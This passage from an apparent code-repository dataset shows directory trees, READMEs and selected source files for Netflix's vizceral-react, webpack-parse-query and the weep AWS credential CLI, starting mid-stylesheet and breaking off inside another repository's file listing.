{\n margin-left: 0 !important;\n}\n\n.ReactVirtualized__Table__headerColumn:focus, .ReactVirtualized__Table__Grid:focus {\n outline: none;\n}\n.ReactVirtualized__Table__row {\n border-bottom: 1px solid var(--colorBorderLines);\n}\n\n.ReactVirtualized__Table__headerColumn:last-of-type, .ReactVirtualized__Table__rowColumn:last-of-type {\n margin-right: 0 !important;\n}\n\n.ReactVirtualized__Table__headerRow {\n text-transform: none !important;\n border-bottom: 2px solid;\n}\n\na.accordion-toggle {\n text-decoration: none;\n}\n\n/* SPINNER */\n@keyframes spinner {\n to {transform: rotate(360deg);}\n}\n\n@-webkit-keyframes spinner {\n to {-webkit-transform: rotate(360deg);}\n}\n\n.inline-spinner {\n min-width: 30px;\n min-height: 2px;\n position: relative;\n display: inline-block;\n}\n\n.inline-spinner:after {\n content: 'Loading\u2026';\n position: absolute;\n top: 50%;\n left: 50%;\n width: 13px;\n height: 13px;\n margin-top: -10px;\n margin-left: -10px;\n}\n\n.inline-spinner:not(:required):after {\n content: '';\n border-radius: 50%;\n border: 2px solid rgba(129, 129, 129, .3);\n border-top-color: rgba(129, 129, 129, .6);\n animation: spinner .6s linear infinite;\n -webkit-animation: spinner .6s linear infinite;\n -moz-animation: spinner .6s linear infinite;\n}\n/* END SPINNER */\n\n.clear-link-styles, .clear-link-styles:hover, .clear-link-styles:active, .clear-link-styles:visited {\n color: inherit;\n text-decoration: inherit;\n}\n\n#links-popover .popover-content {\n color: rgb(172, 182, 187);\n text-align: right;\n width: 100px;\n}\n\n.links-popover-title {\n font-size: 10px;\n}\n\n.links-popover-link, .links-popover-link a, .links-popover-link a:active, .links-popover-link a:hover, .links-popover-link a:visited {\n color: rgb(110, 104, 99);\n cursor: pointer;\n font-size: 12px;\n text-decoration: none;\n}\n\n.popover {\n border-radius: 3px !important;\n font-family: 'Source Sans Pro', sans-serif !important;\n}\n\n.popover-content {\n padding: 6px 8px !important;\n}\n\n.table-borderless tbody tr td, .table-borderless tbody tr th, .table-borderless thead tr th {\n border: none;\n padding: 0;\n}\n\n.tooltip-inner {\n max-width: 250px;\n font-family: 'Source Sans Pro', sans-serif !important;\n line-height: 1.5em;\n}\n\n.tooltip-inner .table {\n margin-bottom: 0;\n}\n\n.tooltip-inner .header {\n margin: 0;\n font-weight: 700;\n}\n\n.alert {\n padding: 5px 10px;\n position: absolute;\n left: 100px;\n top: -42px;\n z-index: 99999;\n}\n\n.alert-info {\n color: #000000;\n background-color: var(--colorNormal);\n}\n\n.alert-dismissable .close {\n top: -1px;\n right: -5px;\n}\n", "src\\app.jsx": "'use strict';\n\nimport 'bootstrap';\nimport 'bootstrap/dist/css/bootstrap.css';\nimport React from 'react'; // eslint-disable-line no-unused-vars\nimport ReactDOM from 'react-dom';\nimport WebFont from 'webfontloader';\n\nimport './app.css';\nimport TrafficFlow from './components/trafficFlow';\n\nfunction fontsActive () {\n ReactDOM.render(\n <TrafficFlow />,\n document.getElementById('traffic')\n );\n}\n\n// Only load the app once we have the webfonts.\n// This is necessary since we use the fonts for drawing on Canvas'...\n\n// imports are loaded and elements have been registered\n\nWebFont.load({\n custom: {\n families: ['Source Sans Pro:n3,n4,n6,n7'],\n urls: ['/fonts/source-sans-pro.css']\n },\n active: fontsActive\n});\n", "src\\appConstants.js": "'use strict';\n\nimport keymirror from 'keymirror';\n\nconst AppConstants = {\n ActionTypes: keymirror({\n TRAFFIC_DATA_RECEIVED: null,\n SERVER_ACTION: null,\n VIEW_ACTION: null,\n\n UPDATE_FILTER: null,\n RESET_FILTERS: null,\n CLEAR_FILTERS: null\n })\n};\n\nexport default AppConstants;\n", "src\\appDispatcher.js": "'use strict';\n\nimport { Dispatcher } from 'flux';\n\nclass AppDispatcher extends Dispatcher {\n handleAction (action) {\n this.dispatch({\n source: 'VIEW_ACTION',\n action: action\n });\n }\n}\n\nconst appDispatcher = new AppDispatcher();\n\nexport default appDispatcher;\n", "src\\index.html": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <base href=\"/\">\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"user-scalable=no, width=device-width, initial-scale=1, maximum-scale=1\">\n <title>Vizceral</title>\n</head>\n<body>\n <div class=\"navbar navbar-inverse navbar-fixed-top\" role=\"navigation\">\n <div>\n <div class=\"navbar-header\">\n <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\".navbar-collapse\">\n <span class=\"sr-only\">Toggle navigation</span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n </button>\n <a class=\"navbar-brand\" href=\"/\">VIZCERAL</a>\n </div>\n <div class=\"collapse navbar-collapse\">\n <ul class=\"nav navbar-nav\">\n </ul>\n <!--user section-->\n <div class=\"nav navbar-nav navbar-right\" id=\"user\"></div>\n <div class=\"nav navbar-nav navbar-right navbar-text\" id=\"feedback\">\n <a class=\"clear-link-styles\" href=\"mailto:[email protected]\">\n <span class=\"glyphicon glyphicon-comment\"></span>\n Feedback\n </a>\n </div>\n </div><!--/.nav-collapse -->\n </div>\n </div>\n\n <div class=\"container\" id=\"traffic\">\n </div>\n</body>\n</html>\n"} | null |
vizceral-react | {"type": "directory", "name": "vizceral-react", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmignore"}, {"type": "file", "name": "docs.js"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package-lock.json"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "vizceral.css"}, {"type": "file", "name": "vizceral.jsx"}]}, {"type": "file", "name": "webpack.config.js"}]} | ## Vizceral
From [`src/vizceral.jsx`](src/vizceral.jsx)
![](https://raw.githubusercontent.com/Netflix/vizceral/master/logo.png)
This is a react wrapper around [Vizceral](https://github.com/Netflix/vizceral).
## Setup
1. Install package
`npm install vizceral-react --save`
2. import vizceral-react to start using
```js
import Vizceral from 'vizceral-react';
<Vizceral traffic={this.state.trafficData}
view={this.state.currentView}
showLabels={this.state.displayOptions.showLabels}
physicsOptions={this.state.physicsOptions}
filters={this.state.filters}
viewChanged={this.viewChanged}
objectHighlighted={this.objectHighlighted}
nodeContextSizeChanged={this.nodeContextSizeChanged}
matchesFound={this.matchesFound}
match={this.state.searchTerm}
modes={this.state.modes}
definitions={this.state.definitions}
styles={styles}
/>
```
## Props
#### allowDraggingOfNodes
```js
// Default: false
allowDraggingOfNodes: Boolean
```
Nodes can be repositioned through dragging if and only if this is true.
#### connectionHighlighted
```js
// Default: () => {}
connectionHighlighted: Function
```
Callback for when a connection is highlighted. The highlighted connection is the only parameter.
#### definitions
```js
// Default: {}
definitions: Object
```
Object map of definitions. Refer to [github.com/Netflix/Vizceral/wiki/Configuration#definitions-for-data-to-display](https://github.com/Netflix/Vizceral/wiki/Configuration#definitions-for-data-to-display)
#### filters
```js
// Default: []
filters: Array
```
Array of filter definitions and current values to filter out nodes and connections. Refer to
[github.com/Netflix/Vizceral/wiki/Configuration#filters](https://github.com/Netflix/Vizceral/wiki/Configuration#filters)
#### match
```js
// Default: ''
match: String
```
A search string to highlight nodes that match
#### matchesFound
```js
// Default: () => {}
matchesFound: Function
```
Callback when nodes match the match string. The matches object { total, visible } is the only property.
#### modes
```js
modes: Object
```
Map of modes to mode type, e.g. { detailedNode: 'volume' }
#### nodeContextSizeChanged
```js
// Default: () => {}
nodeContextSizeChanged: Function
```
Callback for when the top level node context panel size changes. The updated dimensions is the only parameter.
#### nodeHighlighted
```js
// Default: () => {}
nodeHighlighted: Function
```
Callback for when an object is highlighted. The highlighted object is the only parameter.
`object.type` will be either 'node' or 'connection'
#### nodeUpdated
```js
// Default: () => {}
nodeUpdated:
```
#### objectHighlighted
```js
// Default: () => {}
objectHighlighted:
```
#### showLabels
```js
// Default: true
showLabels: Boolean
```
Whether or not to show labels on the nodes.
#### styles
```js
// Default: {}
styles: Object
```
Styles to override default properties.
#### targetFramerate
```js
// Default: null
targetFramerate: Number
```
Target framerate for rendering engine
#### traffic
```js
// Default: {}
traffic: Object
```
The traffic data. See [github.com/Netflix/Vizceral/wiki/How-to-Use#graph-data-format](https://github.com/Netflix/Vizceral/wiki/How-to-Use#graph-data-format) for specification.
#### view
```js
// Default: []
view:
```
#### viewChanged
```js
// Default: () => {}
viewChanged: Function
```
Callback for when the view changed. The view array is the only property.
#### viewUpdated
```js
// Default: () => {}
viewUpdated: Function
```
Callback for when the current view is updated.
<br><br>
| {"package.json": "{\n \"name\": \"vizceral-react\",\n \"version\": \"4.8.0\",\n \"description\": \"A React wrapper around vizceral\",\n \"main\": \"dist/vizceral.js\",\n \"scripts\": {\n \"build\": \"npm run copy:css && webpack --bail && webpack --bail -p\",\n \"build:dev\": \"npm run copy:css && webpack --bail --mode=development && webpack --bail -d --mode=development\",\n \"doc\": \"./docs.js ./src/vizceral.jsx\",\n \"lint\": \"eslint src --ext .js --ext .jsx --fix\",\n \"copy:css\": \"cpx ./src/vizceral.css ./dist\",\n \"release\": \"release\"\n },\n \"license\": \"Apache-2.0\",\n \"author\": \"Justin Reynolds <[email protected]>\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"[email protected]:Netflix/vizceral-react.git\"\n },\n \"keywords\": [\n \"traffic\",\n \"flow\",\n \"network\",\n \"graph\",\n \"particles\",\n \"webgl\",\n \"visceral\"\n ],\n \"devDependencies\": {\n \"babel-core\": \"^6.18.0\",\n \"babel-eslint\": \"^9.0.0\",\n \"babel-loader\": \"^7.1.5\",\n \"babel-plugin-lodash\": \"^3.2.9\",\n \"babel-preset-env\": \"^1.7.0\",\n \"babel-preset-react\": \"^6.16.0\",\n \"babel-preset-stage-0\": \"^6.16.0\",\n \"cpx\": \"^1.5.0\",\n \"eslint\": \"^5.4.0\",\n \"eslint-config-airbnb-base\": \"^13.1.0\",\n \"eslint-loader\": \"^2.1.0\",\n \"eslint-plugin-import\": \"^2.0.1\",\n \"eslint-plugin-jsx-a11y\": \"^6.1.1\",\n \"eslint-plugin-react\": \"^7.11.1\",\n \"gulp-react-docs\": \"^0.1.2\",\n \"lodash-webpack-plugin\": \"^0.10.2\",\n \"release-script\": \"^1.0.2\",\n \"webpack\": \"^4.17.1\",\n \"webpack-command\": \"^0.4.1\",\n \"yargs\": \"^12.0.1\"\n },\n \"dependencies\": {\n \"lodash\": \"^4.17.14\",\n \"prop-types\": \"^15.6.1\",\n \"vizceral\": \"^4.9.0\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
webpack-parse-query | {"type": "directory", "name": "webpack-parse-query", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".jscsrc"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "index.js"}]}]} | # webpack-parse-query
## Exports:
### `parseQuery`
``` javascript
var parseQuery = require('webpack-parse-query');
var query = parseQuery(this.query);
assert(typeof query == "object");
if(query.flag)
// ...
```
``` text
null -> {}
? -> {}
?flag -> { flag: true }
?+flag -> { flag: true }
?-flag -> { flag: false }
?xyz=test -> { xyz: "test" }
?xyz[]=a -> { xyz: ["a"] }
?flag1&flag2 -> { flag1: true, flag2: true }
?+flag1,-flag2 -> { flag1: true, flag2: false }
?xyz[]=a,xyz[]=b -> { xyz: ["a", "b"] }
?a%2C%26b=c%2C%26d -> { "a,&b": "c,&d" }
?{json:5,data:{a:1}} -> { json: 5, data: { a: 1 } }
```
## License
MIT (http://www.opensource.org/licenses/mit-license.php) | {"index.js": "var JSON5 = require(\"json5\");\n\nfunction parseQuery(query) {\n var specialValues = {\n 'null': null,\n 'true': true,\n 'false': false\n };\n if(!query) return {};\n if(typeof query !== \"string\")\n throw new Error(\"parseQuery should get a string as first argument\");\n if(query.substr(0, 1) !== \"?\")\n throw new Error(\"a vaild query string passed to parseQuery should begin with '?'\");\n query = query.substr(1);\n if(query.substr(0, 1) === \"{\" && query.substr(-1) === \"}\") {\n return JSON5.parse(query);\n }\n var queryArgs = query.split(/[,\\&]/g);\n var result = {};\n queryArgs.forEach(function(arg) {\n var idx = arg.indexOf(\"=\");\n if(idx >= 0) {\n var name = arg.substr(0, idx);\n var value = decodeURIComponent(arg.substr(idx+1));\n if (specialValues.hasOwnProperty(value)) {\n value = specialValues[value];\n }\n if(name.substr(-2) === \"[]\") {\n name = decodeURIComponent(name.substr(0, name.length-2));\n if(!Array.isArray(result[name]))\n result[name] = [];\n result[name].push(value);\n } else {\n result[name] = value;\n }\n } else {\n if(arg.substr(0, 1) === \"-\") {\n result[arg.substr(1)] = false;\n } else if(arg.substr(0, 1) === \"+\") {\n result[arg.substr(1)] = true;\n } else {\n result[arg] = true;\n }\n }\n });\n return result;\n};\n\nmodule.exports = parseQuery;\n", "package.json": "{\n \"name\": \"webpack-parse-query\",\n \"version\": \"1.0.1\",\n \"description\": \"Webpack Loader Utils' parseQuery as a separate module\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"mocha\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/Netflix/webpack-parse-query.git\"\n },\n \"keywords\": [\n \"webpack\",\n \"util\",\n \"parsequery\",\n \"parse\",\n \"query\",\n \"querystring\",\n \"loader\"\n ],\n \"author\": \"James J. Womack (@james_womack)\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/Netflix/webpack-parse-query/issues\"\n },\n \"homepage\": \"https://github.com/Netflix/webpack-parse-query#readme\",\n \"dependencies\": {\n \"json5\": \"0.5.0\"\n },\n \"devDependencies\": {\n \"mocha\": \"2.3.3\"\n },\n \"files\": [\n \"index.js\"\n ]\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "test\\index.js": "var assert = require(\"assert\"),\n parseQuery = require(\"../\");\n\nfunction ExpectedError(regex) { this.regex = regex; }\nExpectedError.prototype.matches = function (err) {\n return this.regex.test(err.message);\n};\n\ndescribe(\"parseQuery\", function() {\n [\n [\n \"?sweet=true&name=cheesecake&slices=8&delicious&warm=false\",\n {\"sweet\":true,\"name\":\"cheesecake\",\"slices\":\"8\",\"delicious\":true,\"warm\": false}\n ]\n ].forEach(function(test) {\n it(\"should parse \" + test[0], function() {\n var parsed = parseQuery(test[0]);\n assert.deepEqual(parsed, test[1]);\n });\n });\n});\n"} | null |
weep | {"type": "directory", "name": "weep", "children": [{"type": "file", "name": ".pre-commit-config.yaml"}, {"type": "directory", "name": "build", "children": [{"type": "file", "name": ".goreleaser.yml"}, {"type": "file", "name": "build_package.sh"}, {"type": "file", "name": "Dockerfile"}, {"type": "directory", "name": "package", "children": [{"type": "directory", "name": "macos", "children": [{"type": "directory", "name": "application", "children": [{"type": "file", "name": "uninstall.sh"}]}, {"type": "directory", "name": "darwin", "children": [{"type": "file", "name": "Distribution.xml"}, {"type": "directory", "name": "Resources", "children": [{"type": "file", "name": "conclusion.html"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "welcome.html"}]}, {"type": "directory", "name": "scripts", "children": [{"type": "file", "name": "postinstall"}]}]}]}]}]}, {"type": "directory", "name": "cmd", "children": [{"type": "file", "name": "completion.go"}, {"type": "file", "name": "console.go"}, {"type": "file", "name": "credential_process.go"}, {"type": "file", "name": "docs.go"}, {"type": "file", "name": "export.go"}, {"type": "file", "name": "file.go"}, {"type": "file", "name": "helpers.go"}, {"type": "file", "name": "info.go"}, {"type": "file", "name": "legacy.go"}, {"type": "file", "name": "legacy_export.go"}, {"type": "file", "name": "list.go"}, {"type": "file", "name": "open.go"}, {"type": "file", "name": "refresh.go"}, {"type": "file", "name": "root.go"}, {"type": "file", "name": "search.go"}, {"type": "file", "name": "serve.go"}, {"type": "file", "name": "service.go"}, {"type": "file", "name": "setup.go"}, {"type": "file", "name": "setup_darwin.go"}, {"type": "file", "name": "setup_linux.go"}, {"type": "file", "name": "setup_windows.go"}, {"type": "file", "name": "vars.go"}, {"type": "file", "name": "version.go"}, {"type": "file", "name": "whoami.go"}]}, {"type": "directory", "name": "configs", "children": [{"type": "file", "name": "example-config.yaml"}, {"type": "file", "name": "weep-demo.yaml"}]}, {"type": "directory", "name": "docs", "children": [{"type": "directory", "name": "img", "children": [{"type": "file", "name": "weep-ecs-assume-role.svg"}, {"type": "file", "name": "weep_credential_provider.svg"}, {"type": "file", "name": "weep_ecs.svg"}, {"type": "file", "name": "weep_env_variable.svg"}, {"type": "file", "name": "weep_file.svg"}, {"type": "file", "name": "weep_metadata.svg"}]}, {"type": "file", "name": "weep.md"}, {"type": "file", "name": "weep_completion.md"}, {"type": "file", "name": "weep_completion_bash.md"}, {"type": "file", "name": "weep_completion_fish.md"}, {"type": "file", "name": "weep_completion_powershell.md"}, {"type": "file", "name": "weep_completion_zsh.md"}, {"type": "file", "name": "weep_console.md"}, {"type": "file", "name": "weep_credential_process.md"}, {"type": "file", "name": "weep_docs.md"}, {"type": "file", "name": "weep_ecs_credential_provider.md"}, {"type": "file", "name": "weep_export.md"}, {"type": "file", "name": "weep_file.md"}, {"type": "file", "name": "weep_generate_credential_process_config.md"}, {"type": "file", "name": "weep_list.md"}, {"type": "file", "name": "weep_metadata.md"}, {"type": "file", "name": "weep_open.md"}, {"type": "file", "name": "weep_search.md"}, {"type": "file", "name": "weep_search_account.md"}, {"type": "file", "name": "weep_search_role.md"}, {"type": "file", "name": "weep_serve.md"}, {"type": "file", "name": "weep_setup.md"}, {"type": "file", "name": "weep_version.md"}, {"type": "file", "name": "weep_whoami.md"}]}, {"type": "directory", "name": "extras", "children": [{"type": "directory", "name": "macos", "children": [{"type": "directory", "name": "etc", "children": [{"type": "directory", "name": "pf.anchors", "children": [{"type": "file", "name": "redirection"}]}, {"type": "file", "name": "pf.conf"}]}, {"type": "directory", "name": "Library", "children": [{"type": "directory", "name": "LaunchDaemons", "children": [{"type": "file", "name": "com.user.lo0-loopback.plist"}, {"type": "file", "name": "com.user.pfctl.plist"}]}]}]}]}, {"type": "file", "name": "go.mod"}, {"type": "file", "name": "go.sum"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "main.go"}, {"type": "file", "name": "Makefile"}, {"type": "directory", "name": "pkg", "children": [{"type": "directory", "name": "aws", "children": [{"type": "file", "name": "aws.go"}, {"type": "file", "name": "types.go"}]}, {"type": "directory", "name": "cache", "children": [{"type": "file", "name": "cache.go"}, {"type": "file", "name": "cache_test.go"}]}, {"type": "directory", "name": "config", "children": [{"type": "file", "name": "config.go"}, {"type": "file", "name": "embedded.go"}, {"type": "file", "name": "errors.go"}]}, {"type": "directory", "name": "creds", "children": [{"type": "file", "name": "consoleme.go"}, {"type": "file", "name": "refreshable.go"}, {"type": "file", "name": "refreshable_test.go"}, {"type": "file", "name": "types.go"}]}, {"type": "directory", "name": "errors", "children": [{"type": "file", "name": "errors.go"}]}, {"type": "directory", "name": "health", "children": [{"type": "file", "name": "health.go"}]}, {"type": "directory", "name": "httpAuth", "children": [{"type": "directory", "name": "challenge", "children": [{"type": "file", "name": "challenge.go"}, {"type": "file", "name": "types.go"}]}, {"type": "directory", "name": "custom", "children": [{"type": "file", "name": "custom.go"}]}, {"type": "file", "name": "httpAuth.go"}, {"type": "directory", "name": "mtls", "children": [{"type": "file", "name": "certificate.go"}, {"type": "file", "name": "errors.go"}, {"type": "file", "name": "mtls.go"}]}]}, {"type": "directory", "name": "logging", "children": [{"type": "file", "name": "logger.go"}]}, {"type": "directory", "name": "metadata", "children": [{"type": "file", "name": "metadata.go"}, {"type": "file", "name": "metadata_test.go"}, {"type": "file", "name": "types.go"}, {"type": "file", "name": "version.go"}]}, {"type": "directory", "name": "reachability", "children": [{"type": "file", "name": "channels.go"}, {"type": "file", "name": "request.go"}]}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "baseHandler.go"}, {"type": "file", "name": "credentialsHandler.go"}, {"type": "file", "name": "ecsCredentialsHandler.go"}, {"type": "file", "name": "healthcheckHandler.go"}, {"type": "file", "name": "iamInfoHandler.go"}, {"type": "file", "name": "instanceIdentityDocument.go"}, {"type": "file", "name": "middleware.go"}, {"type": "file", "name": "middleware_test.go"}, {"type": "file", "name": "server.go"}, {"type": "file", "name": "tokenHandler.go"}, {"type": "file", "name": "types.go"}, {"type": "file", "name": "utils.go"}]}, {"type": "directory", "name": "session", "children": [{"type": "file", "name": "cache.go"}, {"type": "file", "name": "token.go"}]}, {"type": "directory", "name": "swag", "children": [{"type": "file", "name": "swag.go"}]}, {"type": "directory", "name": "types", "children": [{"type": "file", "name": "types.go"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "prompt.go"}, {"type": "file", "name": "util.go"}]}]}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "scripts", "children": [{"type": "file", "name": "build.sh"}, {"type": "file", "name": "gofmtcheck.sh"}, {"type": "file", "name": "release.sh"}]}]} | [![](https://img.shields.io/badge/docs-gitbook-blue`)](https://hawkins.gitbook.io/consoleme/weep-cli/)
[![Discord Chat](https://img.shields.io/discord/730908778299523072?label=Chat&logo=discord)](https://discord.gg/tZ8S7Yg)
[![pre-commit](https://github.com/Netflix/weep/actions/workflows/precommit.yml/badge.svg)](https://github.com/Netflix/weep/actions/workflows/precommit.yml)
[![goreleaser](https://github.com/Netflix/weep/actions/workflows/release.yml/badge.svg)](https://github.com/Netflix/weep/actions/workflows/release.yml)
# weep
Weep is a CLI utility for retreiving AWS credentials from [ConsoleMe](https://github.com/Netflix/consoleme). Weep can run
a local instance metadata service proxy, or export credentials as environment variables for your AWS needs.
## Documentation
This README contains developer documentation. Weep user documentation can be found on [GitBook](https://hawkins.gitbook.io/consoleme/weep-cli/).
## Configuration
Weep can be compiled with an embedded configuration (See the Building section below), or it can get its configuration
from a YAML-formatted file. We've included an example config file in [example-config.yaml](configs/example-config.yaml).
Weep searches for a configuration in the following locations:
- embedded configuration (see below)
- `/etc/weep/weep.yaml`
- `~/.weep/weep.yaml`
- `./weep.yaml`
Multiple configurations in these locations **will be merged** in the order listed above (e.g. entries in `./weep.yaml` will take precedence over `~/.weep/weep.yaml`.
You can also specify a config file as a CLI arg. This configuration will be used exclusively and will not be merged with other configurations:
```bash
weep --config somethingdifferent.yaml list
```
Weep supports authenticating to ConsoleMe in either a standalone challenge mode (ConsoleMe will authenticate the user
according to its settings), or mutual TLS (ConsoleMe has to be configured to accept mutual TLS).
In challenge mode, Weep will prompt the user for their username the first time they authenticate, and then attempt to
derive their username from their valid/expired jwt on subsequent attempts. You can also specify the desired username
in weep's configuration under the `challenge_settings.user` setting as seen in `example-config.yaml`.
### Pre-Commit Setup
Weep uses pre-commit to run unit tests and Go linting. Pre-commit documentation can be found on [pre-commit](https://pre-commit.com/)
#### Installation
You can install pre-commit using the following steps:
Using pip:
```
pip install pre-commit
```
Using [homebrew](https://brew.sh/):
```
brew install pre-commit
```
Using [Conda](https://conda.io/):
```
conda install -c conda-forge pre-commit
```
Validate your installation with the following:
```
$ pre-commit --version
pre-commit 2.9.3
```
#### Configuration
Set up the git hook scripts to run automatically with git commit
```
$ pre-commit install
pre-commit installed at .git/hooks/pre-commit
```
## Building
In most cases, `weep` can be built by running the `make` command in the repository root. `make release` (requires
[`upx`](https://upx.github.io/)) will build and compress the binary for distribution.
### Embedded configuration
`weep` binaries can be shipped with an embedded configuration to allow shipping an "all-in-one" binary.
An example of such a configuration is included in [example-config.yaml](example-config.yaml).
To compile with an embedded config, set the `EMBEDDED_CONFIG_FILE` environment variable at
build time. The value of this variable MUST be the **absolute path** of the configuration
file **relative to the root of the module**:
```bash
EMBEDDED_CONFIG_FILE=/example-config.yaml make
```
Note that the embedded configuration can be overridden by a configuration file in the locations listed above.
### Docker
#### Building and Running
```
make build-docker
docker run -v ~</optional/path/to/your/mtls/certs>:</optional/path/to/your/mtls/certs> --rm weep --meta-data --role <roleArn>
```
### Releasing
Weep uses [goreleaser](https://goreleaser.com/) in Github Actions for releases. Check their
[install docs](https://goreleaser.com/install/) if you would like to experiment with the release process locally.
To create a new release, create and push a tag using the release script (requires [svu](https://github.com/caarlos0/svu)):
```bash
./scripts/release.sh
```
Goreleaser will automatically create a release on the [Releases page](https://github.com/Netflix/weep/releases).
### Generating docs
Weep has a built-in command to generate command documentation (in the `docs/` directory):
```bash
weep docs
```
| {"main.go": "/*\n * Copyright 2020 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage main\n\nimport (\n\t\"embed\"\n\t\"os\"\n\n\t\"github.com/netflix/weep/pkg/config\"\n\n\t\"github.com/netflix/weep/cmd\"\n)\n\n//go:embed configs/*.yaml\nvar Configs embed.FS\n\n//go:embed extras/*\nvar Extras embed.FS\n\nfunc init() {\n\tcmd.SetupExtras = Extras\n\tconfig.EmbeddedConfigs = Configs\n}\n\nfunc main() {\n\terr := cmd.Execute()\n\tif err != nil {\n\t\t// err printing is handled by cobra\n\t\tos.Exit(1)\n\t}\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "build\\Dockerfile": "FROM scratch\nENV USER=docker\nEXPOSE 9091\nCOPY weep /\nENTRYPOINT [\"/weep\"]\n"} | null |
Workflowable | {"type": "directory", "name": "Workflowable", "children": [{"type": "file", "name": ".rspec"}, {"type": "directory", "name": "app", "children": [{"type": "directory", "name": "assets", "children": [{"type": "directory", "name": "images", "children": [{"type": "directory", "name": "workflowable", "children": [{"type": "file", "name": ".keep"}]}]}, {"type": "directory", "name": "javascripts", "children": [{"type": "directory", "name": "workflowable", "children": [{"type": "file", "name": "application.js"}, {"type": "file", "name": "d3.min.js"}, {"type": "file", "name": "dagre-min.js"}, {"type": "directory", "name": "foundation", "children": [{"type": "file", "name": "fastclick.js"}, {"type": "file", "name": "foundation.min.js"}, {"type": "file", "name": "modernizr.js"}, {"type": "file", "name": "placeholder.js"}]}, {"type": "file", "name": "select2.min.js"}, {"type": "file", "name": "workflow.js"}]}]}, {"type": "directory", "name": "stylesheets", "children": [{"type": "directory", "name": "workflowable", "children": [{"type": "file", "name": "application.css"}, {"type": "file", "name": "dagre-d3.css"}, {"type": "directory", "name": "foundation", "children": [{"type": "file", "name": "foundation.min.css"}, {"type": "file", "name": "normalize.css"}]}, {"type": "file", "name": "select2.css"}, {"type": "file", "name": "workflow.css"}]}]}]}, {"type": "directory", "name": "controllers", "children": [{"type": "directory", "name": "workflowable", "children": [{"type": "file", "name": "actions_controller.rb"}, {"type": "file", "name": "application_controller.rb"}, {"type": "file", "name": 